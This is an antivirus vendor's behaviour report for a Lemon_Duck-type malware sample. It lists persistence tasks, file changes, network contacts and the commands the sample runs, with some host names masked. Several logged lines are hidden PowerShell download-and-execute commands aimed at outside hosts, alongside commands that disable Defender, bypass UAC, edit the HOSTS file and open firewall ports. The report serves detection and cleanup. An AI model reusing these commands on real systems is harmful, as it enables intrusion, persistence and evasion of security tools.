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Exploit.Siggen.63596

Added to the Dr.Web virus database: 2020-04-17

Virus description added:

Technical Information

To ensure autorun and distribution
Creates or modifies the following files
  • <SYSTEM32>\tasks\bluetea
  • <SYSTEM32>\tasks\xa7luztqe5n
  • <SYSTEM32>\tasks\ubsl82v\pysd4x50
  • <SYSTEM32>\tasks\microsoft\windows\sgoka64f\w3fanztp
  • <SYSTEM32>\tasks\rei1y8jb
  • <SYSTEM32>\tasks\mwosaprgfc\1vvjhsycz
  • <SYSTEM32>\tasks\microsoft\windows\yifyxnbp\whoxguhyk2a
Malicious functions
To complicate detection of its presence in the operating system,
blocks the following features:
  • Windows Security Center
Downloads and executes
  • http://t.##cna.com/mail.jsp?do#####################################################
Executes the following
  • '<SYSTEM32>\netsh.exe' firewall add portopening tcp 65529 SDNSd
  • '<SYSTEM32>\netsh.exe' firewall add portopening tcp 65533 DNSd
Executes the following (exploit)
  • '<SYSTEM32>\cmd.exe' /c powershell -w hidden -c "if([Environment]::OSVersion.version.Major -eq '10'){Set-ItemProperty -Path 'HKCU:Environment' -Name 'windir' -Value 'cmd /c powershell -w hidden Set-MpPreference -Di...
Modifies file system
Creates the following files
  • %TEMP%\k9sxyu08prygrix.sct
  • %WINDIR%\temp\d0_a4nc3.dll
  • %WINDIR%\temp\resbb15.tmp
  • %WINDIR%\temp\cscbb05.tmp
  • %WINDIR%\temp\d0_a4nc3.pdb
  • %WINDIR%\temp\d0_a4nc3.out
  • %WINDIR%\temp\d0_a4nc3.cmdline
  • %WINDIR%\temp\d0_a4nc3.0.cs
  • %WINDIR%\temp\if.bin
  • <SYSTEM32>\migwiz\$dpx$.tmp\935543823559b3458483a20369da313f.tmp
  • %TEMP%\cab_2748_5
  • %TEMP%\cab_2748_6
  • %TEMP%\cab_2748_4
  • %TEMP%\cab_2748_2
  • %TEMP%\cab_2748_3
  • %TEMP%\wdscore.dll
  • %WINDIR%\temp\cmd.bat
  • %TEMP%\uac.cab
  • %WINDIR%\temp\m6.bin
Deletes the following files
  • %TEMP%\cab_2748_2
  • %TEMP%\cab_2748_3
  • %TEMP%\cab_2748_4
  • %TEMP%\cab_2748_5
  • %TEMP%\cab_2748_6
  • %TEMP%\uac.cab
  • %TEMP%\wdscore.dll
  • %TEMP%\k9sxyu08prygrix.sct
  • %WINDIR%\temp\resbb15.tmp
  • %WINDIR%\temp\cscbb05.tmp
  • %WINDIR%\temp\d0_a4nc3.0.cs
  • %WINDIR%\temp\d0_a4nc3.out
  • %WINDIR%\temp\d0_a4nc3.pdb
  • %WINDIR%\temp\d0_a4nc3.cmdline
  • %WINDIR%\temp\d0_a4nc3.dll
Moves the following files
  • from <SYSTEM32>\migwiz\$dpx$.tmp\935543823559b3458483a20369da313f.tmp to <SYSTEM32>\migwiz\wdscore.dll
Modifies the HOSTS file.
Network activity
Connects to
  • 't.##cna.com':80
TCP
HTTP GET requests
  • http://t.##cna.com/7p.php
  • http://t.##cna.com/mail.jsp?do###############
  • http://t.##cna.com/x.js
  • http://t.##cna.com/x.jsp?ma#######################################################################################################
  • http://t.##cna.com/report.jsp?wf#################################################################################################################################################################...
  • http://20#.#54.225.82/if_mail.bin?wf#############################################################################################################################################################...
  • http://20#.#54.225.82/if.bin?wf############################################################
  • http://20#.#54.225.82/m6.bin?wf############################################################
  • http://sz###4ahjl.jp/w.js
UDP
  • DNS ASK t.##cna.com
  • DNS ASK t.##2q.com
  • DNS ASK t.##ynx.com
  • DNS ASK lp##.ackng.com
  • DNS ASK dm###fjsnqg.cn
  • DNS ASK as###u0hsy.kr
Miscellaneous
Creates and executes the following
  • '<SYSTEM32>\cmd.exe' /c powershell -w hidden -c "if([Environment]::OSVersion.version.Major -eq '10'){Set-ItemProperty -Path 'HKCU:Environment' -Name 'windir' -Value 'cmd /c powershell -w hidden Set-MpPreference -Di...' (with hidden window)
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "$Lemon_Duck='\xA7LUZTqE5n';$x='t.tr2'+'q.com';;$y='http://'+#x+'/x.js';$z=$y+'p?ma############################# Net.WebC`lient)."DownloadData"($y);[System.Security.Cryptography.MD5]::Create...' (with hidden window)
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "$Lemon_Duck='UbSL82V\pYSd4X50';$x='t.awc'+'na.com';;$y='http://'+#x+'/x.js';$z=$y+'p?ma############################# Net.WebC`lient)."DownloadData"($y);[System.Security.Cryptography.MD5]::C...' (with hidden window)
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "$Lemon_Duck='MicroSoft\Windows\Sgoka64f\W3FAnztp';$x='t.amy'+'nx.com';;$y='http://'+#x+'/x.js';$z=$y+'p?ma############################# Net.WebC`lient)."DownloadData"($y);[System.Security.C...' (with hidden window)
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "$Lemon_Duck='\Rei1Y8Jb';$x='dm5Yc'+'FjSNqg.cn';[Net.Dns]::GetHostAddresses('t.tr2'+'q.com')[0].IPAddressToString+' '+$x|out-file -"encoding" as`ci`i <DRIVERS>\etc\hosts;$y='http://'+#x+'/w....' (with hidden window)
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "$Lemon_Duck='mwOsAPrgFC\1Vvjhsycz';$x='SZY6V'+'4ahJl.jp';[Net.Dns]::GetHostAddresses('t.awc'+'na.com')[0].IPAddressToString+' '+$x|out-file -"encoding" as`ci`i <DRIVERS>\etc\hosts;$y='http:...' (with hidden window)
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "$Lemon_Duck='MicroSoft\Windows\yifYxnBp\wHOxguhYk2A';$x='aSDwb'+'U0HsY.kr';[Net.Dns]::GetHostAddresses('t.amy'+'nx.com')[0].IPAddressToString+' '+$x|out-file -"encoding" as`ci`i <DRIVERS>\e...' (with hidden window)
  • '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%WINDIR%\TEMP\d0_a4nc3.cmdline"' (with hidden window)
  • '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%WINDIR%\TEMP\RESBB15.tmp" "%WINDIR%\Temp\CSCBB05.tmp"' (with hidden window)
  • '<SYSTEM32>\cmd.exe' powershell -c $pipe=new-object System.IO.Pipes.NamedPipeServerStream('\\.\pipe\HHyeuqi7');$pipe.WaitForConnection();$sr=new-object System.IO.StreamReader($pipe);$cmd=$sr.ReadToEnd();$sr.Dispose...' (with hidden window)
Executes the following
  • '<SYSTEM32>\makecab.exe' %TEMP%\wdscore.dll %TEMP%\uac.cab
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "try{$localMn=$flase;New-Object Threading.Mutex($true,'Global\eLocalMn',[ref]$localMn)}catch{};$ifmd5='5b2849ff2e8c335dcc60fd2155b2d4d3';$ifp=$env:tmp+'\m6.bin';$down_url='http://20#.###.225...
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "$Lemon_Duck='mwOsAPrgFC\1Vvjhsycz';$x='SZY6V'+'4ahJl.jp';[Net.Dns]::GetHostAddresses('t.awc'+'na.com')[0].IPAddressToString+' '+$x|out-file -"encoding" as`ci`i <DRIVERS>\etc\hosts;$y='http:...
  • '<SYSTEM32>\schtasks.exe' /create /ru system /sc MINUTE /mo 60 /tn MicroSoft\Windows\yifYxnBp\wHOxguhYk2A /F /tr "powershell PS_CMD"
  • '<SYSTEM32>\schtasks.exe' /run /tn MicroSoft\Windows\yifYxnBp\wHOxguhYk2A
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "$Lemon_Duck='MicroSoft\Windows\yifYxnBp\wHOxguhYk2A';$x='aSDwb'+'U0HsY.kr';[Net.Dns]::GetHostAddresses('t.amy'+'nx.com')[0].IPAddressToString+' '+$x|out-file -"encoding" as`ci`i <DRIVERS>\e...
  • '<SYSTEM32>\schtasks.exe' /delete /tn Rtsa2 /F
  • '<SYSTEM32>\schtasks.exe' /run /tn UbSL82V\pYSd4X50
  • '<SYSTEM32>\schtasks.exe' /delete /tn Rtsa1 /F
  • '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%WINDIR%\TEMP\d0_a4nc3.cmdline"
  • '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%WINDIR%\TEMP\RESBB15.tmp" "%WINDIR%\Temp\CSCBB05.tmp"
  • '<SYSTEM32>\cmd.exe' powershell -c $pipe=new-object System.IO.Pipes.NamedPipeServerStream('\\.\pipe\HHyeuqi7');$pipe.WaitForConnection();$sr=new-object System.IO.StreamReader($pipe);$cmd=$sr.ReadToEnd();$sr.Dispose...
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c $pipe=new-object System.IO.Pipes.NamedPipeServerStream('\\.\pipe\HHyeuqi7');$pipe.WaitForConnection();$sr=new-object System.IO.StreamReader($pipe);$cmd=$sr.ReadToEnd();$sr.Dispose();$pipe.Di...
  • '<SYSTEM32>\cmd.exe' /c netsh.exe firewall add portopening tcp 65529 SDNSd
  • '<SYSTEM32>\netsh.exe' interface portproxy add v4tov4 listenport=65529 connectaddress=1.1.1.1 connectport=53
  • '<SYSTEM32>\schtasks.exe' /run /tn mwOsAPrgFC\1Vvjhsycz
  • '<SYSTEM32>\cmd.exe' /c powershell -c "try{$localMn=$flase;New-Object Threading.Mutex($true,'Global\eLocalMn',[ref]$localMn)}catch{};$ifmd5='5b2849ff2e8c335dcc60fd2155b2d4d3';$ifp=$env:tmp+'\m6.bin';$down_url='http...
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "try{$localIf=$flase;New-Object Threading.Mutex($true,'Global\eLocalIf',[ref]$localIf)}catch{};$ifmd5='c2fcf4ebba3fbfa1fc4c82e728137076';$ifp=$env:tmp+'\if.bin';$down_url='http://20#.###.225...
  • '<SYSTEM32>\cmd.exe' /c powershell -c "try{$localIf=$flase;New-Object Threading.Mutex($true,'Global\eLocalIf',[ref]$localIf)}catch{};$ifmd5='c2fcf4ebba3fbfa1fc4c82e728137076';$ifp=$env:tmp+'\if.bin';$down_url='http...
  • '<SYSTEM32>\schtasks.exe' /create /ru system /sc MINUTE /mo 60 /tn mwOsAPrgFC\1Vvjhsycz /F /tr "powershell PS_CMD"
  • '<SYSTEM32>\migwiz\migwiz.exe'
  • '<SYSTEM32>\cmd.exe' /c "%WINDIR%\temp\cmd.bat"
  • '<SYSTEM32>\schtasks.exe' /create /ru system /sc MINUTE /mo 120 /tn bluetea /F /tr bluetea
  • '<SYSTEM32>\schtasks.exe' /create /ru system /sc MINUTE /mo 60 /tn \xA7LUZTqE5n /F /tr "powershell PS_CMD"
  • '<SYSTEM32>\schtasks.exe' /run /tn \xA7LUZTqE5n
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "$Lemon_Duck='\xA7LUZTqE5n';$x='t.tr2'+'q.com';;$y='http://'+#x+'/x.js';$z=$y+'p?ma############################# Net.WebC`lient)."DownloadData"($y);[System.Security.Cryptography.MD5]::Create...
  • '<SYSTEM32>\cmd.exe' /c netsh.exe firewall add portopening tcp 65533 DNSd
  • '<SYSTEM32>\schtasks.exe' /delete /tn Rtsa /F
  • '<SYSTEM32>\schtasks.exe' /create /ru system /sc MINUTE /mo 60 /tn UbSL82V\pYSd4X50 /F /tr "powershell PS_CMD"
  • '<SYSTEM32>\schtasks.exe' /create /ru system /sc MINUTE /mo 60 /tn MicroSoft\Windows\Sgoka64f\W3FAnztp /F /tr "powershell PS_CMD"
  • '<SYSTEM32>\schtasks.exe' /run /tn MicroSoft\Windows\Sgoka64f\W3FAnztp
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "$Lemon_Duck='MicroSoft\Windows\Sgoka64f\W3FAnztp';$x='t.amy'+'nx.com';;$y='http://'+#x+'/x.js';$z=$y+'p?ma############################# Net.WebC`lient)."DownloadData"($y);[System.Security.C...
  • '<SYSTEM32>\schtasks.exe' /create /ru system /sc MINUTE /mo 60 /tn \Rei1Y8Jb /F /tr "powershell PS_CMD"
  • '<SYSTEM32>\schtasks.exe' /run /tn \Rei1Y8Jb
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "$Lemon_Duck='\Rei1Y8Jb';$x='dm5Yc'+'FjSNqg.cn';[Net.Dns]::GetHostAddresses('t.tr2'+'q.com')[0].IPAddressToString+' '+$x|out-file -"encoding" as`ci`i <DRIVERS>\etc\hosts;$y='http://'+#x+'/w....
  • '<SYSTEM32>\wusa.exe' %TEMP%\uac.cab /extract:<SYSTEM32>\migwiz\
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "$Lemon_Duck='UbSL82V\pYSd4X50';$x='t.awc'+'na.com';;$y='http://'+#x+'/x.js';$z=$y+'p?ma############################# Net.WebC`lient)."DownloadData"($y);[System.Security.Cryptography.MD5]::C...
  • '<SYSTEM32>\netsh.exe' interface portproxy add v4tov4 listenport=65533 connectaddress=1.1.1.1 connectport=53

Curing recommendations

  1. If the operating system (OS) can be loaded (either normally or in safe mode), download Dr.Web Security Space and run a full scan of your computer and removable media you use. More about Dr.Web Security Space.
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  1. If the mobile device is operating normally, download and install Dr.Web for Android. Run a full system scan and follow recommendations to neutralize the detected threats.
  2. If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
    • Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
    • Once you have activated safe mode, install the Dr.Web for Android onto the infected handheld and run a full scan of the system; follow the steps recommended for neutralizing the threats that have been detected;
    • Switch off your device and turn it on as normal.

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